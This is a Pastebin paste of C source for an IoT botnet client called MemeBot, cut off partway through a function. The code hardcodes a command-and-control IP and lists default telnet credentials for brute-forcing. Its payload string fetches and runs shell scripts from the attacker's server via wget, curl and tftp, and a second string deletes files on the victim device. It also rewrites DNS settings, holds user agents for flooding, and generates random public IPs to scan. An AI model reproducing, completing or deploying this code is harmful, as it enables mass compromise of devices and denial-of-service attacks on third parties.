Advertisement
ZucoCheezy

MemeBot-Client

Dec 1st, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 63.14 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Made Date: 11/22/2016
  4.  
  5.                         *** MEMEBOT SERVER ***
  6.                        
  7. */
  8. //     ___      __ _
  9. //    /   \___ / _(_)_ __   ___  ___
  10. //   / /\ / _ \ |_| | '_ \ / _ \/ __|
  11. //  / /_//  __/  _| | | | |  __/\__ \
  12. // /___,' \___|_| |_|_| |_|\___||___/
  13.  
  14. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  15. #define PAD_RIGHT 1
  16. #define PAD_ZERO 2
  17. #define PRINT_BUF_LEN 12
  18. #define CMD_IAC   255
  19. #define CMD_WILL  251
  20. #define CMD_WONT  252
  21. #define CMD_DO    253
  22. #define CMD_DONT  254
  23. #define OPT_SGA   3
  24.  
  25. //   _____            _           _
  26. //   \_   \_ __   ___| |_   _  __| | ___  ___
  27. //    / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
  28. // /\/ /_ | | | | (__| | |_| | (_| |  __/\__ \
  29. // \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
  30.  
  31. #include <stdlib.h>
  32. #include <stdarg.h>
  33. #include <stdio.h>
  34. #include <sys/socket.h>
  35. #include <sys/types.h>
  36. #include <netinet/in.h>
  37. #include <arpa/inet.h>
  38. #include <netdb.h>
  39. #include <signal.h>
  40. #include <strings.h>
  41. #include <string.h>
  42. #include <sys/utsname.h>
  43. #include <unistd.h>
  44. #include <fcntl.h>
  45. #include <errno.h>
  46. #include <netinet/ip.h>
  47. #include <netinet/udp.h>
  48. #include <netinet/tcp.h>
  49. #include <sys/wait.h>
  50. #include <sys/ioctl.h>
  51. #include <net/if.h>
  52. #include <limits.h>
  53. #include <unistd.h>
  54.  
  55.  
  56. //    ___             __ _
  57. //   / __\___  _ __  / _(_) __ _
  58. //  / /  / _ \| '_ \| |_| |/ _` |
  59. // / /__| (_) | | | |  _| | (_| |
  60. // \____/\___/|_| |_|_| |_|\__, |
  61. //                         |___/
  62.  
  63. unsigned char *commServer[] =
  64.         {
  65.                 "185.70.184.144:6969"
  66.         };
  67.  
  68. //    ___                 _
  69. //   / __\   _ _ __   ___| |_(_) ___  _ __  ___
  70. //  / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
  71. // / /  | |_| | | | | (__| |_| | (_) | | | \__ \
  72. // \/    \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
  73.  
  74. int initConnection();
  75. int getBogos(unsigned char *bogomips);
  76. int getCores();
  77. int getCountry(unsigned char *buf, int bufsize);
  78. void makeRandomStr(unsigned char *buf, int length);
  79. int sockprintf(int sock, char *formatStr, ...);
  80. char *inet_ntoa(struct in_addr in);
  81.  
  82. //    ___ _       _           _
  83. //   / _ \ | ___ | |__   __ _| |___
  84. //  / /_\/ |/ _ \| '_ \ / _` | / __|
  85. // / /_\\| | (_) | |_) | (_| | \__ \
  86. // \____/|_|\___/|_.__/ \__,_|_|___/
  87.  
  88. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  89. uint32_t *pids;
  90. uint32_t scanPid;
  91. uint64_t numpids = 0;
  92. struct in_addr ourIP;
  93. unsigned char macAddress[6] = {0};
  94.  
  95.  
  96. char *usernames[] = {
  97.         "root\0",
  98.         "support\0",
  99.         "admin\0"};
  100. char *passwords[] = {
  101.         "root\0",
  102.         "admin\0",
  103.         "smcadmin\0",
  104.         "support\0",
  105.         "1234\0",
  106.         "12345\0",
  107.         "123456\0",
  108.         "password\0",
  109.         "pass\0",
  110.         "dreambox\0"};
  111. char *prompt = "sh || shell\r\n";
  112. char *prepayload = "cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var ; rm -f * \r\n";
  113. char *payload = "busybox wget http://185.70.184.144/one.sh || wget http://185.70.184.144/one.sh || curl http://185.70.184.144/one.sh || busybox curl http://185.70.184.144/one.sh || busybox tftp -r two.sh -g 185.70.184.144 || tftp -r two.sh -g 185.70.184.144 || busybox tftp 185.70.184.144 -c get three.sh || tftp 185.70.184.144 -c get three.sh ; chmod 777 one.sh || chmod 777 two.sh || chmod 777 three.sh ; sh one.sh || sh two.sh || sh three.sh || sh four.sh ; rm -f * \r\n";
  114. char *updatenamesrvs = "busybox echo nameserver 8.8.8.8 > /etc/resolv.conf || echo nameserver 8.8.8.8 > /etc/resolv.conf \r\n";
  115.  
  116. #define PROC "-bash"
  117. #define CLR "\x1b[33m"
  118. #define RST "\x1b[0m\n"
  119.  
  120. int getProperBinary() {
  121.    /*
  122.     * Todo
  123.     */
  124. }
  125.  
  126. char *getBuild() {
  127. #if defined(__x86_64__) || defined(_M_X64)
  128.     return "x86_64";
  129. #elif defined(__i386) || defined(_M_IX86)
  130.     return "x86_32";
  131. #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  132.     return "ARM-4";
  133. #elif defined(__ARM_ARCH_5__) || defined(__ARM_ARCH_5E__)
  134.     return "ARM-5"
  135. #elif defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6T2__)
  136.     return "ARM-6";
  137. #elif defined(_mips__mips) || defined(__mips) || defined(__MIPS__) || defined(_mips_)
  138.     return "MIPS";
  139. #elif defined(__sh__)
  140.     return "SUPERH";
  141. #elif defined(__powerpc) || defined(__powerpc__) || defined(_ppc__) || defined(__PPC__) || defined(_ARCH_PPC)
  142.     return "POWERPC";
  143. #else
  144.     return "UNKNOWN";
  145. #endif
  146. }
  147.  
  148. const char *useragents[] = {
  149.     "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  150.     "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  151.     "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  152.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  153.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  154.     "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  155.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  156.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  157.     "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  158.     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  159.     "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  160.     "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  161.     "wii libnup/1.0",
  162.     "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  163.     "PSP (PlayStation Portable); 2.00",
  164.     "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  165.     "Doris/1.15 [en] (Symbian)",
  166.     "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  167.     "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  168.     "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  169.     "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  170.     "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  171.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  172.     "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  173.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  174.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  175.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  176.     "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  177.     "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  178.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  179.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  180.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  181.     "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  182.     "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  183.     "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  184.     "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  185. };
  186.  
  187. int *getCoresAmount() {
  188.     return sysconf( _SC_NPROCESSORS_ONLN );
  189. }
  190. enum {
  191.     ENDIAN_UNKNOWN,
  192.     ENDIAN_BIG,
  193.     ENDIAN_LITTLE,
  194.     ENDIAN_BIG_WORD,
  195.     ENDIAN_LITTLE_WORD
  196. };
  197. int getEndianness(void) {
  198.     union {
  199.         uint32_t value;
  200.         uint8_t data[sizeof(uint32_t)];
  201.     } number;
  202.     number.data[0] = 0x00;
  203.     number.data[1] = 0x01;
  204.     number.data[2] = 0x02;
  205.     number.data[3] = 0x03;
  206.  
  207.     switch (number.value)
  208.     {
  209.         case UINT32_C(0x00010203):
  210.             return "BIG_ENDIAN";
  211.         case UINT32_C(0x03020100):
  212.             return "LITTLE_ENDIAN";
  213.         case UINT32_C(0x02030001):
  214.             return "BIG_ENDIAN_W";
  215.         case UINT32_C(0x01000302):
  216.             return "LITTLE_ENDIAN_W";
  217.         default:
  218.             return "UNKNOWN";
  219.     }
  220. }
  221.  
  222.  
  223. //    ___  ___  __      __  ___
  224. //   / __\/ _ \/__\  /\ \ \/ _ \
  225. //  / _\ / /_)/ \// /  \/ / /_\/
  226. // / /  / ___/ _  \/ /\  / /_\\
  227. // \/   \/   \/ \_/\_\ \/\____/
  228.  
  229. #define PHI 0x9e3779b9
  230. static uint32_t Q[4096], c = 362436;
  231.  
  232. void init_rand(uint32_t x)
  233. {
  234.     int i;
  235.  
  236.     Q[0] = x;
  237.     Q[1] = x + PHI;
  238.     Q[2] = x + PHI + PHI;
  239.  
  240.     for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  241. }
  242.  
  243. uint32_t rand_cmwc(void)
  244. {
  245.     uint64_t t, a = 18782LL;
  246.     static uint32_t i = 4095;
  247.     uint32_t x, r = 0xfffffffe;
  248.     i = (i + 1) & 4095;
  249.     t = a * Q[i] + c;
  250.     c = (uint32_t)(t >> 32);
  251.     x = t + c;
  252.     if (x < c) {
  253.         x++;
  254.         c++;
  255.     }
  256.     return (Q[i] = r - x);
  257. }
  258.  
  259. //        _   _ _
  260. //  /\ /\| |_(_) |___
  261. // / / \ \ __| | / __|
  262. // \ \_/ / |_| | \__ \
  263. //  \___/ \__|_|_|___/
  264.  
  265. void trim(char *str)
  266. {
  267.     int i;
  268.     int begin = 0;
  269.     int end = strlen(str) - 1;
  270.  
  271.     while (isspace(str[begin])) begin++;
  272.  
  273.     while ((end >= begin) && isspace(str[end])) end--;
  274.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  275.  
  276.     str[i - begin] = '\0';
  277. }
  278.  
  279. static void printchar(unsigned char **str, int c)
  280. {
  281.     if (str) {
  282.         **str = c;
  283.         ++(*str);
  284.     }
  285.     else (void)write(1, &c, 1);
  286. }
  287.  
  288. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  289. {
  290.     register int pc = 0, padchar = ' ';
  291.  
  292.     if (width > 0) {
  293.         register int len = 0;
  294.         register const unsigned char *ptr;
  295.         for (ptr = string; *ptr; ++ptr) ++len;
  296.         if (len >= width) width = 0;
  297.         else width -= len;
  298.         if (pad & PAD_ZERO) padchar = '0';
  299.     }
  300.     if (!(pad & PAD_RIGHT)) {
  301.         for ( ; width > 0; --width) {
  302.             printchar (out, padchar);
  303.             ++pc;
  304.         }
  305.     }
  306.     for ( ; *string ; ++string) {
  307.         printchar (out, *string);
  308.         ++pc;
  309.     }
  310.     for ( ; width > 0; --width) {
  311.         printchar (out, padchar);
  312.         ++pc;
  313.     }
  314.  
  315.     return pc;
  316. }
  317.  
  318. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  319. {
  320.     unsigned char print_buf[PRINT_BUF_LEN];
  321.     register unsigned char *s;
  322.     register int t, neg = 0, pc = 0;
  323.     register unsigned int u = i;
  324.  
  325.     if (i == 0) {
  326.         print_buf[0] = '0';
  327.         print_buf[1] = '\0';
  328.         return prints (out, print_buf, width, pad);
  329.     }
  330.  
  331.     if (sg && b == 10 && i < 0) {
  332.         neg = 1;
  333.         u = -i;
  334.     }
  335.  
  336.     s = print_buf + PRINT_BUF_LEN-1;
  337.     *s = '\0';
  338.  
  339.     while (u) {
  340.         t = u % b;
  341.         if( t >= 10 )
  342.             t += letbase - '0' - 10;
  343.         *--s = t + '0';
  344.         u /= b;
  345.     }
  346.  
  347.     if (neg) {
  348.         if( width && (pad & PAD_ZERO) ) {
  349.             printchar (out, '-');
  350.             ++pc;
  351.             --width;
  352.         }
  353.         else {
  354.             *--s = '-';
  355.         }
  356.     }
  357.  
  358.     return pc + prints (out, s, width, pad);
  359. }
  360.  
  361. static int print(unsigned char **out, const unsigned char *format, va_list args )
  362. {
  363.     register int width, pad;
  364.     register int pc = 0;
  365.     unsigned char scr[2];
  366.  
  367.     for (; *format != 0; ++format) {
  368.         if (*format == '%') {
  369.             ++format;
  370.             width = pad = 0;
  371.             if (*format == '\0') break;
  372.             if (*format == '%') goto out;
  373.             if (*format == '-') {
  374.                 ++format;
  375.                 pad = PAD_RIGHT;
  376.             }
  377.             while (*format == '0') {
  378.                 ++format;
  379.                 pad |= PAD_ZERO;
  380.             }
  381.             for ( ; *format >= '0' && *format <= '9'; ++format) {
  382.                 width *= 10;
  383.                 width += *format - '0';
  384.             }
  385.             if( *format == 's' ) {
  386.                 register char *s = (char *)va_arg( args, int );
  387.                 pc += prints (out, s?s:"(null)", width, pad);
  388.                 continue;
  389.             }
  390.             if( *format == 'd' ) {
  391.                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  392.                 continue;
  393.             }
  394.             if( *format == 'x' ) {
  395.                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  396.                 continue;
  397.             }
  398.             if( *format == 'X' ) {
  399.                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  400.                 continue;
  401.             }
  402.             if( *format == 'u' ) {
  403.                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  404.                 continue;
  405.             }
  406.             if( *format == 'c' ) {
  407.                 scr[0] = (unsigned char)va_arg( args, int );
  408.                 scr[1] = '\0';
  409.                 pc += prints (out, scr, width, pad);
  410.                 continue;
  411.             }
  412.         }
  413.         else {
  414.             out:
  415.             printchar (out, *format);
  416.             ++pc;
  417.         }
  418.     }
  419.     if (out) **out = '\0';
  420.     va_end( args );
  421.     return pc;
  422. }
  423.  
  424. int zprintf(const unsigned char *format, ...)
  425. {
  426.     va_list args;
  427.     va_start( args, format );
  428.     return print( 0, format, args );
  429. }
  430.  
  431. int szprintf(unsigned char *out, const unsigned char *format, ...)
  432. {
  433.     va_list args;
  434.     va_start( args, format );
  435.     return print( &out, format, args );
  436. }
  437.  
  438.  
  439. int sockprintf(int sock, char *formatStr, ...)
  440. {
  441.     unsigned char *textBuffer = malloc(2048);
  442.     memset(textBuffer, 0, 2048);
  443.     char *orig = textBuffer;
  444.     va_list args;
  445.     va_start(args, formatStr);
  446.     print(&textBuffer, formatStr, args);
  447.     va_end(args);
  448.     orig[strlen(orig)] = '\n';
  449.     // zprintf("buf: %s\n", orig);
  450.     int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  451.     free(orig);
  452.     return q;
  453. }
  454.  
  455. static int *fdopen_pids;
  456.  
  457. int fdpopen(unsigned char *program, register unsigned char *type)
  458. {
  459.     register int iop;
  460.     int pdes[2], fds, pid;
  461.  
  462.     if (*type != 'r' && *type != 'w' || type[1]) return -1;
  463.  
  464.     if (pipe(pdes) < 0) return -1;
  465.     if (fdopen_pids == NULL) {
  466.         if ((fds = getdtablesize()) <= 0) return -1;
  467.         if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  468.         memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  469.     }
  470.  
  471.     switch (pid = vfork())
  472.     {
  473.         case -1:
  474.             close(pdes[0]);
  475.             close(pdes[1]);
  476.             return -1;
  477.         case 0:
  478.             if (*type == 'r') {
  479.                 if (pdes[1] != 1) {
  480.                     dup2(pdes[1], 1);
  481.                     close(pdes[1]);
  482.                 }
  483.                 close(pdes[0]);
  484.             } else {
  485.                 if (pdes[0] != 0) {
  486.                     (void) dup2(pdes[0], 0);
  487.                     (void) close(pdes[0]);
  488.                 }
  489.                 (void) close(pdes[1]);
  490.             }
  491.             execl("/bin/sh", "sh", "-c", program, NULL);
  492.             _exit(127);
  493.     }
  494.     if (*type == 'r') {
  495.         iop = pdes[0];
  496.         (void) close(pdes[1]);
  497.     } else {
  498.         iop = pdes[1];
  499.         (void) close(pdes[0]);
  500.     }
  501.     fdopen_pids[iop] = pid;
  502.     return (iop);
  503. }
  504.  
  505. int fdpclose(int iop)
  506. {
  507.     register int fdes;
  508.     sigset_t omask, nmask;
  509.     int pstat;
  510.     register int pid;
  511.  
  512.     if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  513.     (void) close(iop);
  514.     sigemptyset(&nmask);
  515.     sigaddset(&nmask, SIGINT);
  516.     sigaddset(&nmask, SIGQUIT);
  517.     sigaddset(&nmask, SIGHUP);
  518.     (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  519.     do {
  520.         pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  521.     } while (pid == -1 && errno == EINTR);
  522.     (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  523.     fdopen_pids[fdes] = 0;
  524.     return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  525. }
  526.  
  527. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  528. {
  529.     int got = 1, total = 0;
  530.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  531.     return got == 0 ? NULL : buffer;
  532. }
  533.  
  534. static const long hextable[] = {
  535.         [0 ... 255] = -1,
  536.         ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  537.         ['A'] = 10, 11, 12, 13, 14, 15,
  538.         ['a'] = 10, 11, 12, 13, 14, 15
  539. };
  540.  
  541. long parseHex(unsigned char *hex)
  542. {
  543.     long ret = 0;
  544.     while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  545.     return ret;
  546. }
  547.  
  548. int wildString(const unsigned char* pattern, const unsigned char* string) {
  549.     switch(*pattern)
  550.     {
  551.         case '\0': return *string;
  552.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  553.         case '?': return !(*string && !wildString(pattern+1, string+1));
  554.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  555.     }
  556. }
  557.  
  558. int getHost(unsigned char *toGet, struct in_addr *i)
  559. {
  560.     struct hostent *h;
  561.     if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  562.     return 0;
  563. }
  564.  
  565. void uppercase(unsigned char *str)
  566. {
  567.     while(*str) { *str = toupper(*str); str++; }
  568. }
  569.  
  570. int getBogos(unsigned char *bogomips)
  571. {
  572.     int cmdline = open("/proc/cpuinfo", O_RDONLY);
  573.     char linebuf[4096];
  574.     while(fdgets(linebuf, 4096, cmdline) != NULL)
  575.     {
  576.         uppercase(linebuf);
  577.         if(strstr(linebuf, "BOGOMIPS") == linebuf)
  578.         {
  579.             unsigned char *pos = linebuf + 8;
  580.             while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  581.             while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  582.             if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  583.             strcpy(bogomips, pos);
  584.             close(cmdline);
  585.             return 0;
  586.         }
  587.         memset(linebuf, 0, 4096);
  588.     }
  589.     close(cmdline);
  590.     return 1;
  591. }
  592.  
  593. int getCores()
  594. {
  595.     int totalcores = 0;
  596.     int cmdline = open("/proc/cpuinfo", O_RDONLY);
  597.     char linebuf[4096];
  598.     while(fdgets(linebuf, 4096, cmdline) != NULL)
  599.     {
  600.         uppercase(linebuf);
  601.         if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  602.         memset(linebuf, 0, 4096);
  603.     }
  604.     close(cmdline);
  605.     return totalcores;
  606.  
  607. }
  608.  
  609. void makeRandomStr(unsigned char *buf, int length)
  610. {
  611.     int i = 0;
  612.     for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  613. }
  614.  
  615. int recvLine(int socket, unsigned char *buf, int bufsize)
  616. {
  617.     memset(buf, 0, bufsize);
  618.  
  619.     fd_set myset;
  620.     struct timeval tv;
  621.     tv.tv_sec = 30;
  622.     tv.tv_usec = 0;
  623.     FD_ZERO(&myset);
  624.     FD_SET(socket, &myset);
  625.     int selectRtn, retryCount;
  626.     if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  627.         while(retryCount < 10)
  628.         {
  629.             sockprintf(mainCommSock, "PING");
  630.  
  631.             tv.tv_sec = 30;
  632.             tv.tv_usec = 0;
  633.             FD_ZERO(&myset);
  634.             FD_SET(socket, &myset);
  635.             if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  636.                 retryCount++;
  637.                 continue;
  638.             }
  639.  
  640.             break;
  641.         }
  642.     }
  643.  
  644.     unsigned char tmpchr;
  645.     unsigned char *cp;
  646.     int count = 0;
  647.  
  648.     cp = buf;
  649.     while(bufsize-- > 1)
  650.     {
  651.         if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  652.             *cp = 0x00;
  653.             return -1;
  654.         }
  655.         *cp++ = tmpchr;
  656.         if(tmpchr == '\n') break;
  657.         count++;
  658.     }
  659.     *cp = 0x00;
  660.  
  661.     // zprintf("recv: %s\n", cp); null????
  662.  
  663.     return count;
  664. }
  665.  
  666. int connectTimeout(int fd, char *host, int port, int timeout)
  667. {
  668.     struct sockaddr_in dest_addr;
  669.     fd_set myset;
  670.     struct timeval tv;
  671.     socklen_t lon;
  672.  
  673.     int valopt;
  674.     long arg = fcntl(fd, F_GETFL, NULL);
  675.     arg |= O_NONBLOCK;
  676.     fcntl(fd, F_SETFL, arg);
  677.  
  678.     dest_addr.sin_family = AF_INET;
  679.     dest_addr.sin_port = htons(port);
  680.     if(getHost(host, &dest_addr.sin_addr)) return 0;
  681.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  682.     int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  683.  
  684.     if (res < 0) {
  685.         if (errno == EINPROGRESS) {
  686.             tv.tv_sec = timeout;
  687.             tv.tv_usec = 0;
  688.             FD_ZERO(&myset);
  689.             FD_SET(fd, &myset);
  690.             if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  691.                 lon = sizeof(int);
  692.                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  693.                 if (valopt) return 0;
  694.             }
  695.             else return 0;
  696.         }
  697.         else return 0;
  698.     }
  699.  
  700.     arg = fcntl(fd, F_GETFL, NULL);
  701.     arg &= (~O_NONBLOCK);
  702.     fcntl(fd, F_SETFL, arg);
  703.  
  704.     return 1;
  705. }
  706.  
  707. int listFork()
  708. {
  709.     uint32_t parent, *newpids, i;
  710.     parent = fork();
  711.     if (parent <= 0) return parent;
  712.     numpids++;
  713.     newpids = (uint32_t*)malloc((numpids + 1) * 4);
  714.     for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  715.     newpids[numpids - 1] = parent;
  716.     free(pids);
  717.     pids = newpids;
  718.     return parent;
  719. }
  720.  
  721. int negotiate(int sock, unsigned char *buf, int len)
  722. {
  723.     unsigned char c;
  724.  
  725.     switch (buf[1]) {
  726.         case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  727.         case CMD_WILL:
  728.         case CMD_WONT:
  729.         case CMD_DO:
  730.         case CMD_DONT:
  731.             c = CMD_IAC;
  732.             send(sock, &c, 1, MSG_NOSIGNAL);
  733.             if (CMD_WONT == buf[1]) c = CMD_DONT;
  734.             else if (CMD_DONT == buf[1]) c = CMD_WONT;
  735.             else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  736.             else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  737.             send(sock, &c, 1, MSG_NOSIGNAL);
  738.             send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  739.             break;
  740.  
  741.         default:
  742.             break;
  743.     }
  744.  
  745.     return 0;
  746. }
  747.  
  748. int matchPrompt(char *bufStr)
  749. {
  750.     char *prompts = ":>%$#\0";
  751.  
  752.     int bufLen = strlen(bufStr);
  753.     int i, q = 0;
  754.     for(i = 0; i < strlen(prompts); i++)
  755.     {
  756.         while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  757.         if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  758.     }
  759.  
  760.     return 0;
  761. }
  762.  
  763. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  764. {
  765.     int bufferUsed = initialIndex, got = 0, found = 0;
  766.     fd_set myset;
  767.     struct timeval tv;
  768.     tv.tv_sec = timeout;
  769.     tv.tv_usec = timeoutusec;
  770.     unsigned char *initialRead = NULL;
  771.  
  772.     while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  773.     {
  774.         FD_ZERO(&myset);
  775.         FD_SET(fd, &myset);
  776.         if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  777.         initialRead = buffer + bufferUsed;
  778.         got = recv(fd, initialRead, 1, 0);
  779.         if(got == -1 || got == 0) return 0;
  780.         bufferUsed += got;
  781.         if(*initialRead == 0xFF)
  782.         {
  783.             got = recv(fd, initialRead + 1, 2, 0);
  784.             if(got == -1 || got == 0) return 0;
  785.             bufferUsed += got;
  786.             if(!negotiate(fd, initialRead, 3)) return 0;
  787.         } else {
  788.             if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  789.         }
  790.     }
  791.  
  792.     if(found) return 1;
  793.     return 0;
  794. }
  795.  
  796. //   _____  ___         _   _ _
  797. //   \_   \/ _ \  /\ /\| |_(_) |___
  798. //    / /\/ /_)/ / / \ \ __| | / __|
  799. // /\/ /_/ ___/  \ \_/ / |_| | \__ \
  800. // \____/\/       \___/ \__|_|_|___/
  801.  
  802. in_addr_t getRandomPublicIP() {
  803.     uint8_t ipState[4] = {0};
  804.     ipState[0] = rand() % 253;
  805.     ipState[1] = rand() % 255;
  806.     ipState[2] = rand() % 255;
  807.     ipState[3] = rand() % 255;
  808.  
  809.     while(
  810.             (ipState[0] == 0) ||
  811.             (ipState[0] == 10) ||
  812.             (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  813.             (ipState[0] == 127) ||
  814.             (ipState[0] == 169 && ipState[1] == 254) ||
  815.             (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  816.             (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  817.             (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  818.             (ipState[0] == 192 && ipState[1] == 168) ||
  819.             (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  820.             (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  821.             (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  822.             (ipState[0] >= 224)
  823.             )
  824.     {
  825.         ipState[0] = rand() % 253;
  826.         ipState[1] = rand() % 255;
  827.         ipState[2] = rand() % 255;
  828.         ipState[3] = rand() % 255;
  829.     }
  830.  
  831.     char ip[16] = {0};
